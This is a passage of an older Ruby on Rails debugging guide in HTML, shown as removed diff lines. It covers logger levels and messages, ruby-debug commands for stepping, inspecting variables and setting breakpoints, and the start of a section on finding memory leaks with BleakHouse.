-<div class="para"><p>When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the <tt>ActiveRecord::Base.logger.level</tt> method.</p></div>
-<div class="para"><p>The available log levels are: <tt>:debug</tt>, <tt>:info</tt>, <tt>:warn</tt>, <tt>:error</tt>, and <tt>:fatal</tt>, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>log_level <span style="color: #990000">=</span> Logger<span style="color: #990000">::</span>WARN <span style="font-style: italic"><span style="color: #9A1900"># In any environment initializer, or</span></span>
-ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger<span style="color: #990000">.</span>level <span style="color: #990000">=</span> <span style="color: #993399">0</span> <span style="font-style: italic"><span style="color: #9A1900"># at any time</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">The default Rails log level is <tt>info</tt> in production mode and <tt>debug</tt> in development and test mode.</td>
-</tr></table>
-</div>
-<h3 id="_sending_messages">2.3. Sending Messages</h3>
-<div class="para"><p>To write in the current log use the <tt>logger.(debug|info|warn|error|fatal)</tt> method from within a controller, model or mailer:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"Person attributes hash: #{@person.attributes.inspect}"</span>
-logger<span style="color: #990000">.</span>info <span style="color: #FF0000">"Processing the request..."</span>
-logger<span style="color: #990000">.</span>fatal <span style="color: #FF0000">"Terminating application, raised unrecoverable error!!!"</span>
-</tt></pre></div></div>
-<div class="para"><p>Here's an example of a method instrumented with extra logging:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsController <span style="color: #990000">&lt;</span> ApplicationController
-  <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
-    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post<span style="color: #990000">])</span>
-    logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"New post: #{@post.attributes.inspect}"</span>
-    logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"Post should be valid: #{@post.valid?}"</span>
-
-    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>save
-      flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">'Post was successfully created.'</span>
-      logger<span style="color: #990000">.</span>debug <span style="color: #FF0000">"The post was saved and now is the user is going to be redirected..."</span>
-      redirect_to<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">)</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
-      render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Here's an example of the log generated by this method:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
-  Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
-vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
-  Parameters: {"commit"=&gt;"Create", "post"=&gt;{"title"=&gt;"Debugging Rails",
- "body"=&gt;"I'm learning how to print in logs!!!", "published"=&gt;"0"},
- "authenticity_token"=&gt;"2059c1286e93402e389127b1153204e0d1e275dd", "action"=&gt;"create", "controller"=&gt;"posts"}
-New post: {"updated_at"=&gt;nil, "title"=&gt;"Debugging Rails", "body"=&gt;"I'm learning how to print in logs!!!",
- "published"=&gt;false, "created_at"=&gt;nil}
-Post should be valid: true
-  Post Create (0.000443)   INSERT INTO "posts" ("updated_at", "title", "body", "published",
- "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
- 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
-The post was saved and now is the user is going to be redirected...
-Redirected to #&lt;Post:0x20af760&gt;
-Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]</tt></pre>
-</div></div>
-<div class="para"><p>Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.</p></div>
-</div>
-<h2 id="_debugging_with_ruby_debug">3. Debugging with ruby-debug</h2>
-<div class="sectionbody">
-<div class="para"><p>When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.</p></div>
-<div class="para"><p>The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.</p></div>
-<h3 id="_setup">3.1. Setup</h3>
-<div class="para"><p>The debugger used by Rails, <tt>ruby-debug</tt>, comes as a gem. To install it, just run:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ sudo gem install ruby-debug
-</tt></pre></div></div>
-<div class="para"><p>In case you want to download a particular version or get the source code, refer to the <a href="http://rubyforge.org/projects/ruby-debug/">project's page on rubyforge</a>.</p></div>
-<div class="para"><p>Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the <tt>debugger</tt> method.</p></div>
-<div class="para"><p>Here's an example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PeopleController <span style="color: #990000">&lt;</span> ApplicationController
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
-    debugger
-    <span style="color: #009900">@person</span> <span style="color: #990000">=</span> Person<span style="color: #990000">.</span>new
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you see the message in the console or logs:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>***** Debugger requested, but was not available: Start server with --debugger to enable *****</tt></pre>
-</div></div>
-<div class="para"><p>Make sure you have started your web server with the option <tt>&#8212;debugger</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">~</span>/PathTo/rails_project$ script/server --debugger
-<span style="color: #990000">=&gt;</span> Booting Mongrel <span style="color: #990000">(</span>use <span style="color: #FF0000">'script/server webrick'</span> to force WEBrick<span style="color: #990000">)</span>
-<span style="color: #990000">=&gt;</span> Rails <span style="color: #993399">2.2</span><span style="color: #990000">.</span><span style="color: #993399">0</span> application starting on http<span style="color: #990000">://</span><span style="color: #993399">0.0</span><span style="color: #990000">.</span><span style="color: #993399">0.0</span><span style="color: #990000">:</span><span style="color: #993399">3000</span>
-<span style="color: #990000">=&gt;</span> Debugger enabled
-<span style="color: #990000">...</span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">In development mode, you can dynamically <tt>require 'ruby-debug'</tt> instead of restarting the server, if it was started without <tt>&#8212;debugger</tt>.</td>
-</tr></table>
-</div>
-<div class="para"><p>In order to use Rails debugging you'll need to be running either <strong>WEBrick</strong> or <strong>Mongrel</strong>. For the moment, no alternative servers are supported.</p></div>
-<h3 id="_the_shell">3.2. The Shell</h3>
-<div class="para"><p>As soon as your application calls the <tt>debugger</tt> method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt <tt>(rdb:n)</tt>. The <em>n</em> is the thread number. The prompt will also show you the next line of code that is waiting to run.</p></div>
-<div class="para"><p>If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.</p></div>
-<div class="para"><p>For example:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>@posts = Post.find(:all)
-(rdb:7)</tt></pre>
-</div></div>
-<div class="para"><p>Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help&#8230; so type: <tt>help</tt> (You didn't see that coming, right?)</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:7) help
-ruby-debug help v0.10.2
-Type 'help &lt;command-name&gt;' for help on a specific command
-
-Available commands:
-backtrace  delete   enable  help    next  quit     show    trace
-break      disable  eval    info    p     reload   source  undisplay
-catch      display  exit    irb     pp    restart  step    up
-condition  down     finish  list    ps    save     thread  var
-continue   edit     frame   method  putl  set      tmate   where</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">To view the help menu for any command use <tt>help &lt;command-name&gt;</tt> in active debug mode. For example: <em><tt>help var</tt></em></td>
-</tr></table>
-</div>
-<div class="para"><p>The next command to learn is one of the most useful: <tt>list</tt>. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use <tt>l</tt> for the <tt>list</tt> command.</p></div>
-<div class="para"><p>This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by <tt>&#8658;</tt>.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:7) list
-[1, 10] in /PathToProject/posts_controller.rb
-   1  class PostsController &lt; ApplicationController
-   2    # GET /posts
-   3    # GET /posts.xml
-   4    def index
-   5      debugger
-=&gt; 6      @posts = Post.find(:all)
-   7
-   8      respond_to do |format|
-   9        format.html # index.html.erb
-   10        format.xml  { render :xml =&gt; @posts }</tt></pre>
-</div></div>
-<div class="para"><p>If you repeat the <tt>list</tt> command, this time using just <tt>l</tt>, the next ten lines of the file will be printed out.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:7) l
-[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
-   11      end
-   12    end
-   13
-   14    # GET /posts/1
-   15    # GET /posts/1.xml
-   16    def show
-   17      @post = Post.find(params[:id])
-   18
-   19      respond_to do |format|
-   20        format.html # show.html.erb</tt></pre>
-</div></div>
-<div class="para"><p>And so on until the end of the current file. When the end of file is reached, the <tt>list</tt> command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.</p></div>
-<h3 id="_the_context">3.3. The Context</h3>
-<div class="para"><p>When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.</p></div>
-<div class="para"><p>ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.</p></div>
-<div class="para"><p>At any time you can call the <tt>backtrace</tt> command (or its alias <tt>where</tt>) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then <tt>backtrace</tt> will supply the answer.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:5) where
-    #0 PostsController.index
-       at line /PathTo/project/app/controllers/posts_controller.rb:6
-    #1 Kernel.send
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-    #2 ActionController::Base.perform_action_without_filters
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-    #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
-...</tt></pre>
-</div></div>
-<div class="para"><p>You move anywhere you want in this trace (thus changing the context) by using the <tt>frame <em>n</em></tt> command, where <em>n</em> is the specified frame number.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:5) frame 2
-#2 ActionController::Base.perform_action_without_filters
-       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175</tt></pre>
-</div></div>
-<div class="para"><p>The available variables are the same as if you were running the code line by line. After all, that's what debugging is.</p></div>
-<div class="para"><p>Moving up and down the stack frame: You can use <tt>up [n]</tt> (<tt>u</tt> for abbreviated) and <tt>down [n]</tt> commands in order to change the context <em>n</em> frames up or down the stack respectively. <em>n</em> defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.</p></div>
-<h3 id="_threads">3.4. Threads</h3>
-<div class="para"><p>The debugger can list, stop, resume and switch between running threads by using the command <tt>thread</tt> (or the abbreviated <tt>th</tt>). This command has a handful of options:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>thread</tt> shows the current thread.
-</p>
-</li>
-<li>
-<p>
-<tt>thread list</tt> is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
-</p>
-</li>
-<li>
-<p>
-<tt>thread stop <em>n</em></tt> stop thread <em>n</em>.
-</p>
-</li>
-<li>
-<p>
-<tt>thread resume <em>n</em></tt> resumes thread <em>n</em>.
-</p>
-</li>
-<li>
-<p>
-<tt>thread switch <em>n</em></tt> switches the current thread context to <em>n</em>.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.</p></div>
-<h3 id="_inspecting_variables">3.5. Inspecting Variables</h3>
-<div class="para"><p>Any expression can be evaluated in the current context. To evaluate an expression, just type it!</p></div>
-<div class="para"><p>This example shows how you can print the instance_variables defined within the current context:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>@posts = Post.find(:all)
-(rdb:11) instance_variables
-["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]</tt></pre>
-</div></div>
-<div class="para"><p>As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using <tt>next</tt> (you'll learn more about this command later in this guide).</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:11) next
-Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
-  Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
-  Parameters: {"action"=&gt;"index", "controller"=&gt;"posts"}
-/PathToProject/posts_controller.rb:8
-respond_to do |format|</tt></pre>
-</div></div>
-<div class="para"><p>And then ask again for the instance_variables:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:11) instance_variables.include? "@posts"
-true</tt></pre>
-</div></div>
-<div class="para"><p>Now <tt>@posts</tt> is a included in the instance variables, because the line defining it was executed.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You can also step into <strong>irb</strong> mode with the command <tt>irb</tt> (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.</td>
-</tr></table>
-</div>
-<div class="para"><p>The <tt>var</tt> method is the most convenient way to show variables and their values:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>var
-(rdb:1) v[ar] const &lt;object&gt;            show constants of object
-(rdb:1) v[ar] g[lobal]                  show global variables
-(rdb:1) v[ar] i[nstance] &lt;object&gt;       show instance variables of object
-(rdb:1) v[ar] l[ocal]                   show local variables</tt></pre>
-</div></div>
-<div class="para"><p>This is a great way to inspect the values of the current context variables. For example:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:9) var local
-  __dbg_verbose_save =&gt; false</tt></pre>
-</div></div>
-<div class="para"><p>You can also inspect for an object method this way:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:9) var instance Post.new
-@attributes = {"updated_at"=&gt;nil, "body"=&gt;nil, "title"=&gt;nil, "published"=&gt;nil, "created_at"...
-@attributes_cache = {}
-@new_record = true</tt></pre>
-</div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">The commands <tt>p</tt> (print) and <tt>pp</tt> (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.</td>
-</tr></table>
-</div>
-<div class="para"><p>You can use also <tt>display</tt> to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:1) display @recent_comments
-1: @recent_comments =</tt></pre>
-</div></div>
-<div class="para"><p>The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use <tt>undisplay <em>n</em></tt> where <em>n</em> is the variable number (1 in the last example).</p></div>
-<h3 id="_step_by_step">3.6. Step by Step</h3>
-<div class="para"><p>Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.</p></div>
-<div class="para"><p>Use <tt>step</tt> (abbreviated <tt>s</tt>) to continue running your program until the next logical stopping point and return control to ruby-debug.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You can also use <tt>step+ <em>n</em></tt> and <tt>step- <em>n</em></tt> to move forward or backward <em>n</em> steps respectively.</td>
-</tr></table>
-</div>
-<div class="para"><p>You may also use <tt>next</tt> which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move <em>n</em> steps.</p></div>
-<div class="para"><p>The difference between <tt>next</tt> and <tt>step</tt> is that <tt>step</tt> stops at the next line of code executed, doing just a single step, while <tt>next</tt> moves to the next line without descending inside methods.</p></div>
-<div class="para"><p>For example, consider this block of code with an included <tt>debugger</tt> statement:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Author <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  has_one <span style="color: #990000">:</span>editorial
-  has_many <span style="color: #990000">:</span>comments
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> find_recent_comments<span style="color: #990000">(</span>limit <span style="color: #990000">=</span> <span style="color: #993399">10</span><span style="color: #990000">)</span>
-    debugger
-    <span style="color: #009900">@recent_comments</span> <span style="color: #990000">||=</span> comments<span style="color: #990000">.</span>find<span style="color: #990000">(</span>
-      <span style="color: #990000">:</span>all<span style="color: #990000">,</span>
-      <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>week<span style="color: #990000">.</span>ago<span style="color: #990000">],</span>
-      <span style="color: #990000">:</span>limit <span style="color: #990000">=&gt;</span> limit
-    <span style="color: #990000">)</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You can use ruby-debug while using script/console. Just remember to <tt>require "ruby-debug"</tt> before calling the <tt>debugger</tt> method.</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>/PathTo/project $ script/console
-Loading development environment (Rails 2.1.0)
-&gt;&gt; require "ruby-debug"
-=&gt; []
-&gt;&gt; author = Author.first
-=&gt; #&lt;Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10"&gt;
-&gt;&gt; author.find_recent_comments
-/PathTo/project/app/models/author.rb:11
-)</tt></pre>
-</div></div>
-<div class="para"><p>With the code stopped, take a look around:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:1) list
-[6, 15] in /PathTo/project/app/models/author.rb
-   6      debugger
-   7      @recent_comments ||= comments.find(
-   8        :all,
-   9        :conditions =&gt; ["created_at &gt; ?", 1.week.ago],
-   10        :limit =&gt; limit
-=&gt; 11      )
-   12    end
-   13  end</tt></pre>
-</div></div>
-<div class="para"><p>You are at the end of the line, but&#8230; was this line executed? You can inspect the instance variables.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:1) var instance
-@attributes = {"updated_at"=&gt;"2008-07-31 12:46:10", "id"=&gt;"1", "first_name"=&gt;"Bob", "las...
-@attributes_cache = {}</tt></pre>
-</div></div>
-<div class="para"><p><tt>@recent_comments</tt> hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the <tt>next</tt> command to move on in the code:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:1) next
-/PathTo/project/app/models/author.rb:12
-@recent_comments
-(rdb:1) var instance
-@attributes = {"updated_at"=&gt;"2008-07-31 12:46:10", "id"=&gt;"1", "first_name"=&gt;"Bob", "las...
-@attributes_cache = {}
-@comments = []
-@recent_comments = []</tt></pre>
-</div></div>
-<div class="para"><p>Now you can see that the <tt>@comments</tt> relationship was loaded and @recent_comments defined because the line was executed.</p></div>
-<div class="para"><p>If you want to go deeper into the stack trace you can move single <tt>steps</tt>, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.</p></div>
-<h3 id="_breakpoints">3.7. Breakpoints</h3>
-<div class="para"><p>A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.</p></div>
-<div class="para"><p>You can add breakpoints dynamically with the command <tt>break</tt> (or just <tt>b</tt>). There are 3 possible ways of adding breakpoints manually:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>break line</tt>: set breakpoint in the <em>line</em> in the current source file.
-</p>
-</li>
-<li>
-<p>
-<tt>break file:line [if expression]</tt>: set breakpoint in the <em>line</em> number inside the <em>file</em>. If an <em>expression</em> is given it must evaluated to <em>true</em> to fire up the debugger.
-</p>
-</li>
-<li>
-<p>
-<tt>break class(.|#)method [if expression]</tt>: set breakpoint in <em>method</em> (. and # for class and instance method respectively) defined in <em>class</em>. The <em>expression</em> works the same way as with file:line.
-</p>
-</li>
-</ul></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:5) break 10
-Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10</tt></pre>
-</div></div>
-<div class="para"><p>Use <tt>info breakpoints <em>n</em></tt> or <tt>info break <em>n</em></tt> to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:5) info breakpoints
-Num Enb What
-  1 y   at filters.rb:10</tt></pre>
-</div></div>
-<div class="para"><p>To delete breakpoints: use the command <tt>delete <em>n</em></tt> to remove the breakpoint number <em>n</em>. If no number is specified, it deletes all breakpoints that are currently active..</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>(rdb:5) delete 1
-(rdb:5) info breakpoints
-No breakpoints.</tt></pre>
-</div></div>
-<div class="para"><p>You can also enable or disable breakpoints:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>enable breakpoints</tt>: allow a list <em>breakpoints</em> or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
-</p>
-</li>
-<li>
-<p>
-<tt>disable breakpoints</tt>: the <em>breakpoints</em> will have no effect on your program.
-</p>
-</li>
-</ul></div>
-<h3 id="_catching_exceptions">3.8. Catching Exceptions</h3>
-<div class="para"><p>The command <tt>catch exception-name</tt> (or just <tt>cat exception-name</tt>) can be used to intercept an exception of type <em>exception-name</em> when there would otherwise be is no handler for it.</p></div>
-<div class="para"><p>To list all active catchpoints use <tt>catch</tt>.</p></div>
-<h3 id="_resuming_execution">3.9. Resuming Execution</h3>
-<div class="para"><p>There are two ways to resume execution of an application that is stopped in the debugger:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>continue</tt> [line-specification] (or <tt>c</tt>): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
-</p>
-</li>
-<li>
-<p>
-<tt>finish</tt> [frame-number] (or <tt>fin</tt>): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
-</p>
-</li>
-</ul></div>
-<h3 id="_editing">3.10. Editing</h3>
-<div class="para"><p>Two commands allow you to open code from the debugger into an editor:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>edit [file:line]</tt>: edit <em>file</em> using the editor specified by the EDITOR environment variable. A specific <em>line</em> can also be given.
-</p>
-</li>
-<li>
-<p>
-<tt>tmate <em>n</em></tt> (abbreviated <tt>tm</tt>): open the current file in TextMate. It uses n-th frame if <em>n</em> is specified.
-</p>
-</li>
-</ul></div>
-<h3 id="_quitting">3.11. Quitting</h3>
-<div class="para"><p>To exit the debugger, use the <tt>quit</tt> command (abbreviated <tt>q</tt>), or its alias <tt>exit</tt>.</p></div>
-<div class="para"><p>A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.</p></div>
-<h3 id="_settings">3.12. Settings</h3>
-<div class="para"><p>There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-<tt>set reload</tt>: Reload source code when changed.
-</p>
-</li>
-<li>
-<p>
-<tt>set autolist</tt>: Execute <tt>list</tt> command on every breakpoint.
-</p>
-</li>
-<li>
-<p>
-<tt>set listsize <em>n</em></tt>: Set number of source lines to list by default to <em>n</em>.
-</p>
-</li>
-<li>
-<p>
-<tt>set forcestep</tt>: Make sure the <tt>next</tt> and <tt>step</tt> commands always move to a new line
-</p>
-</li>
-</ul></div>
-<div class="para"><p>You can see the full list by using <tt>help set</tt>. Use <tt>help set <em>subcommand</em></tt> to learn about a particular <tt>set</tt> command.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You can include any number of these configuration lines inside a <tt>.rdebugrc</tt> file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly.</td>
-</tr></table>
-</div>
-<div class="para"><p>Here's a good start for an <tt>.rdebugrc</tt>:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>set autolist
-set forcestep
-set listsize 25</tt></pre>
-</div></div>
-</div>
-<h2 id="_debugging_memory_leaks">4. Debugging Memory Leaks</h2>
-<div class="sectionbody">
-<div class="para"><p>A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.</p></div>
-<div class="para"><p>In this section, you will learn how to find and fix such leaks by using Bleak House and Valgrind debugging tools.</p></div>
-<h3 id="_bleakhouse">4.1. BleakHouse</h3>
-<div class="para"><p><a href="http://github.com/fauna/bleak_house/tree/master">BleakHouse</a> is a library for finding memory leaks.</p></div>
-<div class="para"><p>If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.</p></div>
-<div class="para"><p>To install it run:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>sudo gem install bleak_house</tt></pre>
-</div></div>
-<div class="para"><p>Then setup you application for profiling. Then add the following at the bottom of config/environment.rb:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'bleak_house'</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> ENV<span style="color: #990000">[</span><span style="color: #FF0000">'BLEAK_HOUSE'</span><span style="color: #990000">]</span>
-</tt></pre></div></div>
-<div class="para"><p>Start a server instance with BleakHouse integration:</p></div>
-<div class="listingblock">
-<div class="content">
